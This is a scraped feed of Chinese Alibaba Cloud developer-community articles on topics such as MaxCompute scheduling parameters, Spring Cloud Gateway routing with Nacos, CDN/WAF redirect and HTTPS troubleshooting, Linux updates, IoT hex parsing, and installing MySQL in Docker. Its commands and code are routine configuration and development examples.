        随着企业数据爆发式增长,MySQL分析查询卡顿问题越来越多,用户时效性不能保证,精细化运营诉求不能满足。如何能无缝对接业务库,实现毫秒级针对万亿级数据进行即时的多维分析透视和业务探索,MySQL分析实例给出完美解决方案。

        2020 年 AI 和机器学习的重要趋势是什么 ?

        在竞争日益激烈的技术市场中,从高科技初创公司到全球跨国公司都将人工智能视为关键竞争优势。但是,人工智能行业发展如此之快,以至于很难跟踪最新的研究突破和成就,甚至很难应用科学成果来实现业务成果。在 2020 年为了帮助业务制定强大的 AI 策略,本文总结了不同研究领域的最新趋势,包括自然语言处理,对话式 AI,计算机视觉和强化学习。

        纳米镜系列文章|使闲鱼各种业务“雨露均沾”

        我们介绍了纳米镜的功能和背后的分析算法,而闲鱼目前业务线多且复杂,怎么构建一个可扩展性强的系统,使每个业务线都能够便捷地接入,成为首要关注的问题。


        每天读本书

        重磅下载!《2020前端工程师必读手册》,阿里巴巴前端委员会推荐!

        阿里巴巴前端委员会推荐!覆盖5大热点前端技术方向10+核心实战的前端手册--《2020前端工程师必读手册》已经正式上线了,大家可以免费下载了,解锁前端新方式,挖掘前端新思路,尽在此刻,赶紧来先睹为快!


        精品公开课

        如何快速提升员工效能?(2020春季创业节)

        直播内容
        1) 一次性解决企业最头疼的3个管理问题
        2) 高效实现:新人活、老人猛、中层强


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        调度参数在MaxCompute的使用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、调度参数和MaxCompute的关系

        首先明确调度参数是属于DataWorks上的和MaxCompute之间是没有关系的。

        二、调度参数执行的原理

        调度参数是经过DataWorks的调度系统进行解析,然后将解析的值传到MaxCompute上MaxCompute根据对应的key获取对应的value,所以想要取到值必须经过DataWorks的调度系统解析。

        三、如何测试调度参数

        1.系统参数(2个)

        • 主要包括业务时间bdp.system.bizdate
        • 定时时间bdp.system.cyctime
        说明
        这两个值由于是DataWorks的系统参数,可以直接在代码中使用,在页面点击高级运行可以解析
        **使用方法:
        **
        在DataWorks直接点击高级运行可以看到结果

        select ${bdp.system.bizdate}

        结果:
        image.png

        2.时间参数

        内置参数
        ($bizdate和$cyctime)、${…}和$[…],
        说明
        由于不是系统的必须经过调度系统才能测试,在页面点击高级运行也是无法解析的
        使用方法
        • 在数据流程->MaxCompute->数据开发->新建一个odspsql节点
        image.png

        • 双击打开节点,编写sql

        image.png
        • 点击调度配置,配置调度参数

        image.png
        • 将当前节点保存,关闭退出运行

        image.png
        • 查看结果

        image.png

        3.自定义常量参数

        说明
        在页面点击高级运行可以解析
        • 在临时查询中编写sql

        select '${key}';

        • 点击高级运行

        image.png
        • 查看结果
        image.png

        大家如果对MaxCompute有更多咨询或者建议,欢迎扫码加入 MaxCompute开发者社区钉钉群,或点击链接 申请加入。
        image.png

        ]]>
        小姐姐亲身体验:在阿里数据库科研团队实习是种怎样的体验?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者简介:

        张心怡,北京大学前沿交叉研究院研究生,中国人民大学信息学院本科生。从18年底开始在POLARDB-X团队智能数据库组的实习,现已在阿里度过了一年多的时光。

        心怡说,对于有志于数据库领域研究的小伙伴,这里是最好的学习和工作平台。

        01、优秀的同行人,助我成长

        我所在组的研究方向是智能数据库,目标是利用机器学习和统计优化等技术,实现数据库系统各个组件的自动优化,如存储引擎,并发控制,SQL优化器等,以减少系统成本,提升系统性能,以实现一个self-driving的数据库系统。

        这是一个很有前景的方向。大四上学期,初来实习的我内心其实颇为忐忑,面对组里的同事前辈,“跟不上进度”成了我最担心的事情。然而,进入到工作状态之后,我心里的石头落了地:mentor给实习生安排的任务是循序渐进的,一次次讨论与指导,使我能够快速上手。

        经过和mentor的讨论,我选择把“智能查询优化”作为第一个研究项目,并且与大四学期的毕设结合,基于阿里线上平台的实际问题,展开研究。

        查询优化属于数据库比较底层的部分,之前我没有很深的了解。在开展研究的过程中,除了自己阅读文献,同事成为了我的“知识宝库”。遇到场景落地问题时,我会请教PolarDB-X优化器开发的同事,他们往往能够一针见血地指出实际问题。

        我的成长离不开组里各位老师的帮助与分享,组内还会定期或不定期组织reading group,讲解工作成果与学界进展。在这里,你会发现身边的同事大多对深耕于某一领域,实力扎实,与他们交流会收获很多!

        02、快乐工作,认真生活

        “快乐工作,认真生活”,记得我刚刚入职时HR提到了这个观点,入职之后我发现这是阿里人身体力行的一句话。

        在工作上,身边的人都很努力。在这种氛围的感召下,遇到难题,我也会情不自禁地在工位上多坐一会。暑期实习的时候,时常9点之后结束工作,打车回宿舍。

        生活上,团队里组织了丰富多彩的活动。聚餐已经成为了常规项目。工作间隙还可以去健身房锻炼一波,园区的按摩椅也成为了养生女孩的午休项目。

        印象最深的是团队组织的运动会,女子项目是平板支撑。听到这个消息之后,我基本每天都进行练习。运动会那天,杭州base、北京base、硅谷base进行了三地PK,在同事的加油下,我坚持了平板支持7分25秒,最后拿到了女子组冠军。

        大家的工作与生活模式都很健康充实。在阿里,我见识到了工作发展的可持续性与优秀的团队交互模式。

        冠军.jpg

        获得运动会冠军

        03、阿里实习,带我打开科研大门

        来到阿里之前,我是一个对科研比较懵懂的门外汉。特别幸运的是,在这里我遇到了很棒的mentor们指导我进行研究工作。

        不论是基础的代码风格还是研究思路、遇到的问题,mentor都会事无巨细地进行引导。以前我写代码,能跑起来、自己看得懂就行。

        我在阿里提交的第一次merge request,有不少随意的空行和一些tricky且难以维护的逻辑。印象很深的是,当时mentor逐行写了comment指出问题。我认识到了代码的规范性和可维护性,以及别人是否能够理解自己的代码都是要考虑的问题。

        2019年我从中国人民大学毕业,来到北京大学攻读数据科学研究生,感谢我的研究生导师崔斌老师对我在阿里实习的支持。当时,我在阿里研究的第一个课题,也画上了圆满的句号:我在NDBC(CCF National Database Conference)进行了课题报告,投稿论文并被评为best student paper。

        NDBC.jpg

        参加NDBC

        我在阿里参与研究的第二个课题是数据库的智能调参。传统的数据库调参中DBA基于经验与尝试推荐参数值,而我们要做的是基于机器学习算法自动高效给出推荐。

        这个课题在进行过程中遇到了不少困难,算法的适用性与有效性是我们重点考虑的。在进行了很久的实验之后,会发现一些坑和问题,挫败感是有的,但是会马上被新的尝试与期待替代。

        我发现,在这里的研究并不是为了学术灌水而做,有意义研究是问题导向的。mentor时常强调要找到可复现的场景和实际问题,这样才有实际意义。我的mentor base在硅谷,因为时差我时不时在早上收到消息和反馈,这成为了我起床开启新的一天的最大动力。mentor是我科研路上的引路人,也是并肩作战的战友,大家一起为了攻克问题而努力!

        阿里的实习经历,帮我找到了打开科研大门的钥匙,让我从对科研的懵懵懂懂,到爱上了这一发现问题、攻克问题的过程。我希望将来能继续数据库领域的研究工作,在玉洁冰清的逻辑世界继续追寻。

        ]]>
        Spring Cloud Gateway的动态路由怎样做?集成Nacos实现很简单-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 file

        一、说明

        网关的核心概念就是路由配置和路由规则,而作为所有请求流量的入口,在实际生产环境中为了保证高可靠和高可用,是尽量要避免重启的,所以实现动态路由是非常有必要的;本文主要介绍 Spring Cloud Gateway 实现的思路,并且以Nacos为数据源来讲解

        PS:关于 Spring Cloud Zuul 的动态路由请看文章《Spring Cloud Zuul的动态路由怎样做?集成Nacos实现很简单

         

        二、实现要点

        要实现动态路由只需关注下面4个点

        1. 网关启动时,动态路由的数据怎样加载进来
        2. 静态路由动态路由以那个为准,ps:静态路由指的是配置文件里写死的路由配置
        3. 监听动态路由的数据源变化
        4. 数据有变化时怎样通知gateway刷新路由

         

        三、具体实现

        Spring Cloud Gateway 中加载路由信息分别由以下几个类负责

        1. PropertiesRouteDefinitionLocator:从配置文件中读取路由信息(如YML、Properties等)
        2. RouteDefinitionRepository:从存储器中读取路由信息(如内存、配置中心、Redis、MySQL等)
        3. DiscoveryClientRouteDefinitionLocator:从注册中心中读取路由信息(如Nacos、Eurka、Zookeeper等)

         
        我们可以通过自定义 RouteDefinitionRepository 的实现类来实现动态路由的目的

         

        3.1. 实现动态路由的数据加载

        创建一个NacosRouteDefinitionRepository实现类

        NacosRouteDefinitionRepository类可查看:NacosRouteDefinitionRepository.java
        file

        重写 getRouteDefinitions 方法实现路由信息的读取

         
        配置Nacos监听器,监听路由配置信息的变化
        file

        路由变化只需要往 ApplicationEventPublisher 推送一个 RefreshRoutesEvent 事件即刻,gateway会自动监听该事件并调用 getRouteDefinitions 方法更新路由信息

         

        3.2. 创建配置类

        DynamicRouteConfig类可查看:DynamicRouteConfig.java
        file

         

        3.3. 添加Nacos路由配置

        file
        新增配置项:

        • Data Id:scg-routes
        • Group:SCG_GATEWAY
        • 配置内容:
        [
            {
                "id": "csdn",
                "predicates": [{
                    "name": "Path",
                    "args": {
                            "pattern": "/csdn/**"
                    }
                }],
                "uri": "https://www.csdn.net/",
                "filters": []
            },
            {
                "id": "github",
                "predicates": [{
                    "name": "Path",
                    "args": {
                            "pattern": "/github/**"
                    }
                }],
                "uri": "http://github.com/",
                "filters": []
            }
        ]

        添加两条路由数据

         

        四、测试

        启动网关通过 /actuator/gateway/routes 端点查看当前路由信息

        file

        可以看到 Nacos 里配置的两条路由信息

         
        完整的Spring Cloud Gateway代码请查看
        https://gitee.com/zlt2000/microservices-platform/tree/master/zlt-gateway/sc-gateway

         

        推荐阅读

        ]]>
        接入CDN/WAF后出现循环重定向问题的排查记录-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:睿得

        一、问题描述

        客户反馈一个CDN加速域名解析切换到CDN的CNAME之后,访问出现301循环重定向的现象。

        image.png

        与客户确认目前的业务架构如下:

        image.png

        测试直接访问WAF(阿里云CDN源站),响应301 Redirect;

        测试直接访问AWS CloudFront(阿里云WAF源站),可以正常访问到网站内容。

        image.png

        二、分析验证

        经过CDN/WAF后得到的结果与直接访问源站的结果不一致的情况,一般来说是由于CDN/WAF回源时的请求与直接访问源站时的请求有区别,导致了源站做出了不同的响应结果。

        对于301循环重定向的情况,最常见的一种情况就是http-->https的跳转。问题可以稳定复现,所以很容易测试和定位。

        image.png

        通过http直接访问AWS CloudFront,可以看到AWS响应了301 Redirect,重定向到https。

        image.png

        进一步核实,WAF上配置了“Enable HTTP back-to-source”的开关,强制WAF使用http协议回源。

        image.png

        循环重定向的访问路径:

        客户浏览器 https --> 阿里云CDN https--> 阿里云WAF http --> AWS CloudFront CDN 301 --> 客户浏览器 https

        四、解决方案

        1、首先,联系客户在WAF控制台上关闭“Enable HTTP back-to-source”的开关,使WAF回源时使用https协议。

        2、此外,注意到客户在CDN上开启了“Use the same protocol as the back-to-source protocol”的开关,这时,如果用户通过http协议访问CDN,CDN使用http协议回源,所以建议客户同时在CDN控制台上关闭“Use the same protocol as the back-to-source protocol”的开关,强制CDN使用https协议回源WAF。

        image.png

        最后,为了清空CDN上301状态的缓存,请客户在CDN控制台上进行手工刷新操作。

        客户反馈操作完成后,测试业务恢复正常。

        五、新的问题

        问题解决几分钟后,客户反馈部分的PC、手机上访问网站还是会出现301循环重定向的情况。有的人,同一台电脑上的不同浏览器,有些正常,有些不正常。尝试清理浏览器的缓存后问题依旧。

        image.png

        六、分析测试

        通过在有问题的客户端上分析http响应头,发现一些CDN节点上还有301状态的缓存。难道是刷新没有完全成功?

        进一步查看CDN节点的缓存时间,是在客户操作之后才缓存的。

        image.png

        通过检查客户CDN配置,发现客户没有关闭“Use the same protocol as the back-to-source protocol”的开关。

        而另一方面,当有https的请求发到AWS上时,AWS响应的200 OK的响应头中有no-cache的header。

        image.png

        当有http的请求发到AWS上时,AWS响应的301 Redirect的响应头中没有no-cache的header。

        image.png

        所以无论有多少人正常的通过https协议成功网站,CDN都不会缓存。而一旦有人不小心用http协议访问了这个网址后,CDN就会缓存住301的状态,导致后续的访问者(无论是http还是https)都会出现301循环重定向的错误。

        此外,对于301的状态,一些浏览器(FireFox、移动端的Safari等)会一直进行缓存,所以还需要手工清理浏览器的本地缓存。

        七、彻底解决

        1、联系客户关闭“Use the same protocol as the back-to-source protocol”的开关。

        2、与客户确认业务不需要http协议的访问,在阿里云CDN上配置http --> https的跳转。

        image.png

        3、操作后,手工刷新CDN缓存,测试全部恢复正常。

        八、附录:CDN/WAF访问协议处理流程

        image.png

        ]]>
        【CDN 常见问题】CDN回源Host的意义-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:烨烁

        CDN的配置项中包括源站设置和回源host设置两个参数。这两个参数概念可能会出现混淆并且设置错误会导致访问出现异常,因此本文主要向大家介绍源站设置和回源host两个参数的概念和设置方法。
        产品文档参考:CDN回源HOST

        一、基本概念

        源站设置的详细设置方法在【CDN 常见问题】CDN 接入配置及常见问题文档中已经详细说明了各业务类型的源站设置的方法。从该文档中可以知晓源站设置不管是什么类型,其实其意义都是需要将该域名解析成IP后根据该IP回源到源站服务器上。而真正是哪个站点提供服务其实与源站设置是没有关系的。因此这里需要回源Host的概念。
        回源Host其意义表示为CDN节点回源请求头中带有的Host字段。在HTTP 1.1协议中请求头中必须要有Host字段,根据HTTP RFC官方文档说明:

        The Host field value MUST represent the naming authority of the origin server or gateway given by the original URL.

        即表示了Host字段的值表示的是原始URL给出的服务器或者网关的命名授权。
        而当源站设置解析得到的IP对应的服务器上有多个站点配置了不同的命名Host,那么CDN回源就会根据回源Host字段决定是由哪个站点提供服务。
        举例说明,如下是一段nginx配置server的常用配置方法,从该配置上我们可以查看到该服务器上配置一个名为www.aliyun.com的站点监听服务器的80端口,并设置了该站点的根目录路径。

        server {
        
        listen 80; #default_server;
        server_name www.aliyun.com;
        location / {
            root /alidata/www/www-aliyun-com/;
        }
        }

        然后创建cdn加速域名cdntest1.aliyun.com,设置其源站为www.aliyun.com,并设置回源端口为80端口。此时如果设置回源host为关闭或者设置为cdntest1.aliyun.com时,将导致CDN回源时到源站查找server_name为cdntest1.aliyun.com的站点,而由于源站配置配置对应的站点导致出现4XX的错误了。因此此时正确的配置应该将回源host改成www.aliyun.com,这样才可以找到对应的server并到其location目录中查找对应的文件返回给CDN节点。

        image.png

        图1. CDN的回源Host正确配置

        二、CDN加速OSS的回源Host设置

        在CDN加速OSS的经典场景中回源Host的设置是有两种方法,下面逐一介绍:
        1、设置回源Host为CDN域名本身。当设置回源Host为加速域名时那么要求其域名是必须在OSS的域名管理中添加该域名后才可以设置的,否则会导致CDN回源无法查找到该名称对应的是哪个bucket导致无法回源。
        image.png

        图2. OSS绑定域名示意图


        2、设置回源Host为OSS域名本身。这种情况下OSS是不需要做任何的调整即可保证CDN正常回源到该bucket获取文件。但是此种设置时在OSS的日志中记录的Sync Request记录项为-,而不会记录为CDN(OSS日志格式请参考:OSS日志格式),因此建议在CDN加速OSS的场景中建议以第一种方式。]]>
        【CDN 常见问题】CDN HTTPS配置及常见问题-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:烨烁

        CDN提供了HTTPS的加密传输方式保证在客户端访问CDN的L1节点的链路上对传输数据进行加密避免被恶意查看和篡改。客户通过将自行向证书CA机构申请的SSL证书上传到CDN上,CDN会完成对所有的L1节点的配置同步保证后续所有的L1节点支持HTTPS方式访问。那么在配置CDN的HTTPS协议时有哪些是需要特别注意的呢?本文就阐述HTTPS配置需要注意的内容及常见问题。
        一、申请证书。
        在配置CDN的HTTPS的第一步当然是需要先为加速域名申请购买对应的SSL证书才可以正确的添加在CDN中的。
        市场中有CA机构作为证书颁发者可以提供站点提供者使用。用户可以向CA机构购买对应域名的证书,同时阿里云云盾也联合多家国内外知名 CA 证书厂商直接提供服务器数字证书(证书服务详细请参考:证书服务)。
        用户在购买证书时需要特别注意SSL证书根据其适用范围可以分为:通配符域名、单个域名和多个域名。根据其名称即可查看购买的证书分别适用于主域名下某个级别的全部子域名、单个域名或者多个域名。用户是需要保证购买的证书必须适用于加速域名后续才可以添加在CDN中生效。如图1所示的即是添加的SSL证书(适用于主域名和www的子域名两个域名)与CDN加速域名(cdn的子域名)是不相匹配的,因此会抛出NET::ERR_CERT_COMMON_NAME_INVALID的错误。
        image.png

        图1. SSL证书适用范围不匹配导致NET::ERR_CERT_COMMON_NAME_INVALID错误

        二、配置证书至CDN。
        在按照流程申请得到CA证书后即可将该证书添加在CDN服务中供所有CDN的L1节点使用。CDN添加证书可以通过控制台的方式以及API/SDK的方式添加,但是配置参数是一致的,控制台配置截图如图2所示。主要包括证书名称、公钥和私钥三个参数。
        证书名称代表的是用户自己给予该对证书识别名称,用户可根据自己的业务要求定义其证书名称,仅需要保证本账号中不存在同名证书即可。公钥和私钥分别对应CA机构提供的证书内容和私钥内容。证书内容是以-----BEGIN CERTIFICATE-----和-----END CERTIFICATE-----开头和结束的证书链组成,而私钥内容是以-----BEGIN RSA PRIVATE KEY-----和 -----END RSA PRIVATE KEY----- 开头和结尾私钥组成。
        image.png

        图2. CDN控制台配置HTTPS证书示意图

        配置过程中需要注意以下内容:
        1、CA机构提供的证书为了兼容性可能会提供多种形式的证书,CDN支持的证书仅有PEM格式,并且私钥需要RSA格式。如果客户获取得到的是其他格式的证书是需要转换后然后提交到CDN服务中的,常见格式切换格式请参考:[CDN 证书格式说明](https://help.aliyun.com/document_detail/66710.html?spm=a2c6h.12873639.0.0.6cb223fba76KC8,而其中的私钥文件如果是-----BEGIN PRIVATE KEY-----, -----END PRIVATE KEY-----样式的话是需要通过如下命令转换成RSA格式:
        openssl rsa -in old_server_key.pem -out new_server_key.pem
        2、CDN是不支持设置密码的私钥。如图3所示即是经过加密的私钥,这类私钥文件是需要经过解密后才可以正常使用,因此CDN是无法正常使用的。
        image.png

        图3. 设置密码的私钥示意图

        3、证书链需要补全中间证书。对于中级CA机构提供的证书,那么拿到的证书将包括多份证书,而CDN需要添加的是包括中间证书的完整证书链,拼接规则为:服务器证书放第一份,中间证书放第二份,中间不要有空行。
        另外有一些中间证书CA机构提供了不同的服务器使用的证书,由于CDN是基于Tengine提供服务的,因此用户是需要使用Nginx对应的证书到视频中心的。如图4所示。

        image.png

        图4. 选择nginx证书示意图

        4、CDN的HTTPS技术是基于SNI技术实现的。SNI技术主要是用来在同一台服务器上配置多个证书的需求,而SNI是需要客户端发送请求的时候带有SNI的信息以标识是哪个域名的SSL请求,因此SNI技术对客户端有一定的要求,部分低版本系统中的低版本浏览器不满足该要求。SNI技术对于客户端的限制详细请参考:[SNI对客户端浏览器限制](https://www.ssllabs.com/ssltest/clients.html
        5、生效时间。CDN证书由于需要应用于所有的L1节点上因此会导致配置和更新都是需要一段时间的,设置HTTPS证书后约1小时后生效,更新HTTPS证书后约10分钟后生效。因此请用户提前部署好HTTPS证书后再正式上线业务。
        三、强制跳转。
        用户对于站点常有以下两种跳转需求:
        所有的 HTTP 请求跳转为 HTTPS 请求或者 HTTPS 请求跳转为 HTTP 请求;
        部分资源可以将 HTTP 请求跳转到 HTTPS 或者 HTTPS 跳转为 HTTP 请求。
        这两种需求对于第一种需求 CDN 是可以直接完成该需求的,可以直接在 HTTPS 的信息中直接添加对应的跳转设置(如图5)。而对于第二种需求 CDN 现在无法实现,需要用户的源站实现对应的 rewrite 功能,而为了保证每次请求都可以触发源站的重定向设置就需要用户针对于特定的资源设置在CDN 上不缓存(可以在 CDN 控制台设置缓存 0 秒或者源站设置 no-cache等禁止 CDN 缓存的头信息)。

        image.png

        图5. CDN配置HTTP与HTTPS跳转示意图


        另外,CDN配置HTTPS后常会出现508错误。508 错误是重定向回环的错误,该错误一般是由于用户在 CDN 开启 HTTPS 服务,并且设置回源端口为 80 ;而源站设置了 80 端口强制跳转 HTTPS协议,这样就会导致该请求又重新请求到 CDN 节点上,出现重定向回环,因此建议 HTTP 和 HTTPS 协议之间的跳转功能可以直接在 CDN 控制台进行设置即可。]]>
        Linux 发行版更新软件源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 6.jpg
        镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

        一、前提条件

        更新软件之前,您已添加包含该软件包更新的软件源。具体步骤,请参见添加软件源

        二、更新CentOS上的软件

        1、连接Linux实例。详情请参见连接方式介绍
        2、更新软件。

        • 若您需要更新单个软件,运行以下命令。
        yum update <package> #将<package>替换为您需要更新的软件
        • 例如,您需要更新Apache服务器,则运行的命令为:
        yum update httpd
        • 若您需要更新系统的全部软件,运行以下命令。
          注意 由于该命令可能会更新系统内核,导致系统无法启动、内核与软件不兼容等问题。建议您完成不升级系统内核的配置后,再运行该命令。
        yum update

        三、更新Ubuntu或Debian上的软件

        1、连接Linux实例。详情请参见连接方式介绍
        2、运行以下命令获取软件包的更新列表。

        apt-get update

        3、更新软件。

        • 若您需要更新单个软件,运行以下命令。
        apt-get install <package> #将<package>替换为您需要更新的软件
        • 例如,您需要更新Python,则运行的命令为:
        apt-get install python
        • 若您需要更新系统全部软件,运行以下命令。
          注意 由于该命令可能会更新系统内核,导致系统无法启动、内核与软件不兼容等问题。建议您完成不升级系统内核的配置后,再运行该命令。
        apt-get upgrade

        四、更新OpenSUSE上的软件

        1、连接Linux实例。详情请参见连接方式介绍
        2、运行以下命令获取软件包的更新列表。

        zypper list-updates

        3、更新软件。

        • 若您需要更新单个软件,运行以下命令。
        zypper update <package>   #将<package>替换为您需要更新的软件
        • 例如,您需要更新Python,则运行的命令为:
        zypper update python
        • 若您需要更新系统全部软件,运行以下命令。
          注意 由于该命令可能会更新系统内核,导致系统无法启动、内核与软件不兼容等问题。建议您完成不升级系统内核的配置后,再运行该命令。
        zypper update

        五、执行结果

        更新完成后,您可以查看该软件版本号。如果显示为最新版本号,表明该软件更新成功。

        阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

        ]]>
        借助IoT平台云端数据解析能力,转换Modbus,电力协议,hex数据-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.整体技术方案

        在IoT场景中,很多传感器采集到的都是二进制数据,或者私有协议格式数据流,设备端又不具备转换成结构化JSON的能力,这时候我们可以借助IoT物联网平台云端自定义数据解析能力,转换Modbus,电力协议,hex数据,私有协议为结构化的JSON,再流转到业务系统。

        数据流转链路

        image.png

        消息变化

        image.png

        2.物联网平台开发

        消息通信Topic

        image.png

        hex转换脚本配置


        原始数据:0x035e8192fd0000000d0000001b00000a8c
        数据业务格式:
        image.png
        脚本配置
        image.png


        完整脚本内容

        /**
         * 将设备自定义topic数据转换为json格式数据, 设备上报数据到物联网平台时调用
         * 入参:topic   字符串,设备上报消息的topic     
         * 入参:rawData byte[]数组                  不能为空
         * 出参:jsonObj JSON对象                    不能为空
         */
        function transformPayload(topic, rawData) {
            var jsonObj = {}
            
            //原始hex数据 : 0x035e8192fd0000000d0000001b00000a8c
        /*
        {
          "heartbeat": 15,
          "id": 1585549855,
          "steps": 2700,
          "speed": 56
        }
        */
            if (topic.endsWith('/user/update')) {
                    var uint8Array = new Uint8Array(rawData.length);
                    for (var i = 0; i < rawData.length; i++) {
                        uint8Array[i] = rawData[i] & 0xff;
                    }
                    var dataView = new DataView(uint8Array.buffer, 0);
        
                    var fHead = uint8Array[0]; // command
                    if (fHead == 0x03) {
                        //
                        jsonObj['id'] = dataView.getInt32(1);
                        //心跳
                        jsonObj['heartbeat'] = dataView.getInt32(5);
                        //速度
                        jsonObj['speed'] = dataView.getInt32(9);
                        //总步数
                        jsonObj['steps'] = dataView.getInt32(13);
                    }
            }
            
            return jsonObj;
        }
          

        3.设备开发

        设备上报hex原始数据

        // 消息Topic携带?_sn=default标识
        const topic = '/aiDerw9823s/dn308/user/update'+'?_sn=default';
        // 原始数据
        var payloadArray = [ 3, 94, 129, 169, 59, 0, 0, 0, 23, 0, 0, 0, 79, 0, 0, 30, 220 ];
        var payload = new Buffer(payloadArray);
        // 发布数据到topic
        client.publish(topic, payload);
        
        

        4.联调日志

        设备上报原始hex数据

        image.png

        脚本转换后日志

        image.png

        业务消息报文日志

        消息详情(topic和payload)
        image.png

        ]]>
        Docker 安装 mysql8-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 hailuo_579095140_RF.jpg
        镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

        一、下载mysql8镜像

        docker pull mysql

        二、创建mysql8配置文件

        vi /etc/my.cnf #编辑MySQL配置文件

        my.cnf文件内容

        # Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.
        #
        # This program is free software; you can redistribute it and/or modify
        # it under the terms of the GNU General Public License as published by
        # the Free Software Foundation; version 2 of the License.
        #
        # This program is distributed in the hope that it will be useful,
        # but WITHOUT ANY WARRANTY; without even the implied warranty of
        # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        # GNU General Public License for more details.
        #
        # You should have received a copy of the GNU General Public License
        # along with this program; if not, write to the Free Software
        # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USA
        #
        # The MySQL  Server configuration file.
        #
        # For explanations see
        # http://dev.mysql.com/doc/mysql/en/server-system-variables.html
        [mysqld]
        pid-file        = /var/run/mysqld/mysqld.pid
        socket          = /var/run/mysqld/mysqld.sock
        datadir         = /var/lib/mysql
        secure-file-priv= NULL
        # Disabling symbolic-links is recommended to prevent assorted security risks
        symbolic-links=0
        # Custom config should go here
        !includedir /etc/mysql/conf.d/

        三、创建mysql容器

        docker run -p 60306:3306 -e MYSQL_ROOT_PASSWORD=123 -v /etc/my.cnf:/etc/mysql/my.cnf:rw -v /etc/localtime:/etc/localtime:ro --name mysql8 --restart=always -dit mysql
        -p 60306:3306 #本机60306端口映射到容器3306端口
        -e MYSQL_ROOT_PASSWORD=123 #设置MySQL的root用户密码
        -v /etc/my.cnf:/etc/mysql/my.cnf:rw #本机的MySQL配置文件映射到容器的MySQL配置文件
        -v /etc/localtime:/etc/localtime:ro #本机时间与数据库时间同步
        --name mysql8 #设置容器别名
        --restart=always #当重启Docker时会自动启动该容器
        -dit mysql #后台运行并可控制台接入

        四、进入mysql控制台

        docker exec -it b6cfb244d0c0 bash #进入MySQL容器
        mysql -uroot -p123 #进入MySQL控制台
        ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; #修改root用户密码

        阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

        ]]>
        构建安全可靠的微服务 | Nacos 在颜铺 SaaS 平台的应用实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.jpeg

        作者 | 殷铭  颜铺科技架构师

        本文整理自架构师成长系列 3 月 19 日直播课程。
        关注“阿里巴巴云原生”公众号,回复 “319”,即可获取对应直播回放链接及 PPT 下载链接。

        导读:颜铺科技因美业⽽⽣,“颜铺专家”是一款专为美业商家打造的 SaaS 平台,为了能够给商户提供更加安全、稳定、高效的平台,我们在技术方面做了很多尝试,经过几次演进,使系统变得更加稳定可靠。今天主要和大家分享一下颜铺科技的架构演进,以及 Nacos 在颜铺的应用实践。

        单体应用时代

        2.png

        上图是我们单体服务时的架构图,分为会员、订单、门店等很多模块,看架构图似乎还算清晰,但是真正看到包结构的时候,真的令人头秃!改起代码特别头痛。单体服务带来的几个挑战:

        • 发布周期慢:虽然当时业务量不算大,但是代码量很大,业务迭代牵一发而动全身,每次发布需要对整个服务进行重新编译打包部署。特别是最开始在没有构建工具的时候,发布过程需要一堆的命令,总有一种 “一顿操作猛如虎,定睛一看原地杵” 的感觉。
        • 协同效率低:合并冲突多,有时你在前面开心地写代码,而别人在解决冲突时,可能也在开心地删着你的代码,增加了很多的沟通成本。
        • 稳定性差:当服务出现故障时,可能会导致整个系统不可用,并且系统不易扩容,当商户搞促销时,可能活动结束了,服务器还没有扩容完成。
        • 性能差:因为在单体服务内,有些开发人员为了满足自己的业务,很多无关业务间 SQL 联表查询,并且不关注性能问题,导致线上时常出现负载警告。 

        另外,我们在业务上也遇到了一些挑战:

        • 业务转型: 2018 年 6 月,我们公司决定从泛行业转向美业,需要打造一个专为美业商户提供技术支持的丽人 SaaS 平台。
        • 快速占领市场:业务的转型带来了更多商户的新需求,如果不能快速迭代,则意味着被市场淘汰。因此,提升开发效率,快速占领市场成为我们急需解决的问题。
        • 商户体验差:随着越来越多的商户入住,性能和可靠性的问题逐渐显现,出现问题,不能及时修正,商户体验变得很差,违背我们客户第一的原则。 

        综上所述,我们认为进行服务化改造刻不容缓。

        微服务改造

        经过公司开发同学们的讨论,我们最终决定分两步进行改造:
        服务化改造 1.0 的目标:

        • 用最小的改造成本先将新、旧商户平台进行打通,做到功能上的快速迁移;
        • 业务抽象,将新旧商户中心的公用部分进行抽象,并优化旧商户中心的代码逻辑,为后续的业务中台建设做好铺垫。

        服务化改造 2.0 的目标:初步建设业务中台,让平台的各种能力能够快速复用、快速组合,支持业务更快捷地探索与发展。
        服务化改造 1.0 预期效果:
        3.png

        • 我们希望老商户中心在对外提供服务的同时,还能够作为提供者,对新商户中心提供服务支持;
        • 新商户中心仅对外提供服务,不直连数据库,业务层只对美业的特殊逻辑进行处理。 

        因此,我们的想法是:新商户中心直接调用旧商户中心通过 Controller 暴露出的接口,进行远程调用,于是我们决定尝试使用 Spring Cloud 。

         服务发现选型:
        4.png

        • Consul 支持服务发现的同时,支持 kv 存储服务,因为我们想做一个配置中心的 KV 存储,所以想利用 Consul 做一个尝试;
        • 服务健康检查相对更为详细;
        • 在我们选型的期间,突然出现了 Eureka 2.x 开源工作宣告停止的消息,虽然后来发现,这个对我们并没有什么太大的影响,但在当时的决策让我们最终选择了 Consul 。 

        服务化改造 1.0 架构图:
        5.png

        服务化 1.0 我们的技术改造方案是:将旧的商户中心注册到 Consul 上面,新商户中心到 Consul 上获取服务器列表,通过 Feign 进行远程调用,打通了新老商户中心的功能。 

        经过服务化 1.0 的改造,我们解决了如下几个问题:

        • 功能快速完善:旧商户中心的功能快速迁移到了新的商户中心,并完成对美业的适配;
